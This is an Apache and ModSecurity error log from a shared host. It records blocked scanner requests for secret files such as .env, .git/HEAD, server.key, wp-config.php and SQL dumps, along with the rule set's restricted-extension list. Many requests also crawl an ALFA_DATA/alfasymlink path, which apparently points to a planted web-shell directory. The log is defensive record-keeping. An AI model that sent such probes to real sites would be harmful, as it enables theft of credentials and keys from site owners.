[Tue Oct 27 12:27:26.094501 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auDQ7h4zCyYqPJF4nDQt4wAAAFY"]
[Tue Oct 27 12:27:26.094659 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auDQ7h4zCyYqPJF4nDQt4wAAAFY"]
[Tue Oct 27 12:27:26.094901 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "auDQ7h4zCyYqPJF4nDQt4wAAAFY"]
[Tue Oct 27 12:27:26.196256 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDQ7h4zCyYqPJF4nDQt5AAAAFY"]
[Tue Oct 27 12:27:26.196274 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDQ7hlGMQ3MCYA8x58bZQAAAAI"]
[Tue Oct 27 12:27:26.196481 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDQ7hlGMQ3MCYA8x58bZQAAAAI"]
[Tue Oct 27 12:27:26.196481 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDQ7h4zCyYqPJF4nDQt5AAAAFY"]
[Tue Oct 27 12:27:26.196743 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDQ7h4zCyYqPJF4nDQt5AAAAFY"]
[Tue Oct 27 12:27:26.196765 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDQ7hlGMQ3MCYA8x58bZQAAAAI"]
[Tue Oct 27 12:27:26.252681 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auDQ7ol2AUJsav26aCNtlwAAAAs"]
[Tue Oct 27 12:27:26.252890 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auDQ7ol2AUJsav26aCNtlwAAAAs"]
[Tue Oct 27 12:27:26.253123 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "auDQ7ol2AUJsav26aCNtlwAAAAs"]
[Tue Oct 27 12:27:26.355320 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDQ7ol2AUJsav26aCNtmAAAAAs"]
[Tue Oct 27 12:27:26.355494 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDQ7ol2AUJsav26aCNtmAAAAAs"]
[Tue Oct 27 12:27:26.355721 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDQ7ol2AUJsav26aCNtmAAAAAs"]
[Tue Oct 27 12:27:26.397235 2026] [core:error] [pid 3265164:tid 3265164] (13)Permission denied: [client 34.205.170.13:10638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory10/node0/cpu0/crash_notes_size
[Tue Oct 27 12:27:26.401610 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auDQ7hlGMQ3MCYA8x58bZwAAAAI"]
[Tue Oct 27 12:27:26.401826 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auDQ7hlGMQ3MCYA8x58bZwAAAAI"]
[Tue Oct 27 12:27:26.402056 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "auDQ7hlGMQ3MCYA8x58bZwAAAAI"]
[Tue Oct 27 12:27:26.457123 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auDQ7ol2AUJsav26aCNtmQAAAAs"]
[Tue Oct 27 12:27:26.457343 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auDQ7ol2AUJsav26aCNtmQAAAAs"]
[Tue Oct 27 12:27:26.457639 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "auDQ7ol2AUJsav26aCNtmQAAAAs"]
[Tue Oct 27 12:27:26.503562 2026] [proxy_fcgi:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 12:27:26.559654 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auDQ7ol2AUJsav26aCNtmgAAAAs"]
[Tue Oct 27 12:27:26.559916 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auDQ7ol2AUJsav26aCNtmgAAAAs"]
[Tue Oct 27 12:27:26.560214 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auDQ7ol2AUJsav26aCNtmgAAAAs"]
[Tue Oct 27 12:27:26.605627 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auDQ7hlGMQ3MCYA8x58baQAAAAI"]
[Tue Oct 27 12:27:26.605812 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auDQ7hlGMQ3MCYA8x58baQAAAAI"]
[Tue Oct 27 12:27:26.605926 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auDQ7hlGMQ3MCYA8x58baQAAAAI"]
[Tue Oct 27 12:27:26.606176 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auDQ7hlGMQ3MCYA8x58baQAAAAI"]
[Tue Oct 27 12:27:30.256153 2026] [ssl:error] [pid 3265154:tid 3265154] (5)Input/output error: [client 44.208.193.63:30428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:27:34.250333 2026] [core:error] [pid 3258980:tid 3258980] (13)Permission denied: [client 52.6.5.24:37229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:14/eject
[Tue Oct 27 12:27:38.394037 2026] [core:error] [pid 3265222:tid 3265222] (13)Permission denied: [client 85.208.96.203:57226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/align
[Tue Oct 27 12:27:47.110032 2026] [core:error] [pid 3265279:tid 3265279] (13)Permission denied: [client 44.196.118.6:22740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:10/eject
[Tue Oct 27 12:27:54.228877 2026] [core:error] [pid 3265302:tid 3265302] (13)Permission denied: [client 52.1.106.130:1567] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:05.0/rescan
[Tue Oct 27 12:27:58.229525 2026] [ssl:error] [pid 3265318:tid 3265318] (70014)End of file found: [client 18.207.79.144:59770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:28:16.128644 2026] [security2:error] [pid 3250097:tid 3250097] [client 43.153.102.138:51180] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDRIN-UH8rIZL85QFqJxQAAAAQ"]
[Tue Oct 27 12:28:16.129652 2026] [authz_core:error] [pid 3250097:tid 3250097] [client 43.153.102.138:51180] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:28:18.248222 2026] [ssl:error] [pid 3265305:tid 3265305] (70014)End of file found: [client 44.223.115.10:62692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:28:22.464562 2026] [authz_core:error] [pid 3265299:tid 3265299] [client 23.22.243.211:12557] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 12:28:22.669410 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 3.219.80.71:13717] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:28:26.216993 2026] [core:error] [pid 3265290:tid 3265290] (13)Permission denied: [client 18.206.47.187:54229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/module/uevent
[Tue Oct 27 12:28:32.854973 2026] [security2:error] [pid 3258930:tid 3258930] [client 185.191.171.9:49994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle50/php56/upgrade.php"] [unique_id "auDRMMVDsspnBBo_YCYZqQAAAEc"]
[Tue Oct 27 12:28:32.855022 2026] [security2:error] [pid 3258930:tid 3258930] [client 185.191.171.9:49994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/moodle50/php56/upgrade.php"] [unique_id "auDRMMVDsspnBBo_YCYZqQAAAEc"]
[Tue Oct 27 12:28:34.399564 2026] [ssl:error] [pid 3265299:tid 3265299] (70014)End of file found: [client 100.29.160.53:62299] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:28:46.366170 2026] [ssl:error] [pid 3265805:tid 3265805] (70014)End of file found: [client 52.204.37.237:23914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:28:54.232296 2026] [ssl:error] [pid 3265812:tid 3265812] (70014)End of file found: [client 52.4.213.199:11909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:06.216951 2026] [ssl:error] [pid 3265798:tid 3265798] (70014)End of file found: [client 54.235.158.162:15858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:10.236323 2026] [ssl:error] [pid 3265805:tid 3265805] (70014)End of file found: [client 23.23.180.225:22823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:26.345186 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 52.23.112.144:8557] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:30.232279 2026] [ssl:error] [pid 3265318:tid 3265318] (70014)End of file found: [client 107.20.25.33:44474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:29:42.923227 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 216.73.217.51:3371] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 12:29:43.164903 2026] [authz_core:error] [pid 3258924:tid 3258924] [client 216.73.217.51:3371] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
